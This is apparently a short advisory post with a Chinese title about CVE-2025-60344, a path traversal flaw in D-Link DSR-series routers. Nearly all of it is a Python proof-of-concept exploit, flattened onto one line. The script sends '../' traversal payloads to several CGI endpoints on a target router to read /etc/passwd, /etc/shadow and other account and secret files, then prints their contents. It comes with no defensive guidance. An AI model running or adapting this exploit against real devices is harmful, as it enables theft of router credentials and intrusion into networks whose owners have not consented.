CVE-2025-60344：D-Link DSR系列路由器路径遍历漏洞

# CVE-2025-60344 - D-Link DSR Series Router Path Traversal PoC # Affected: DSR-150, DSR-150N, DSR-250N v1.09B32_WW # Author: Security Researcher import requests import sys from urllib.parse import quote TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.1" PORT = 80 def exploit_path_traversal(target, port, path): """ Exploit path traversal by injecting '../' sequences into vulnerable parameter """ base_url = f"http://{target}:{port}" # Common vulnerable endpoints in D-Link DSR routers vulnerable_endpoints = [ "/cgi-bin/webproc", "/scgi-bin/platform.cgi", "/login.cgi", ] # Target sensitive files target_files = [ "/etc/passwd", "/etc/shadow", "/etc/config/accounts", "/var/passwd", "/var/secret", "/tmp/var/passwd", ] traversal_payload = "../../../../../../../../.." for endpoint in vulnerable_endpoints: for target_file in target_files: payload = traversal_payload + target_file encoded_payload = quote(payload) url = f"{base_url}{endpoint}?page={encoded_payload}" try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and "root:" in response.text: print(f"[+] Vulnerability confirmed at {endpoint}") print(f"[+] File accessed: {target_file}") print(f"[+] Response:\n{response.text[:500]}") return True except requests.exceptions.RequestException as e: continue return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET}") if exploit_path_traversal(TARGET, PORT, ""): print("[+] Exploit successful!") else: print("[-] Target may not be vulnerable or not reachable")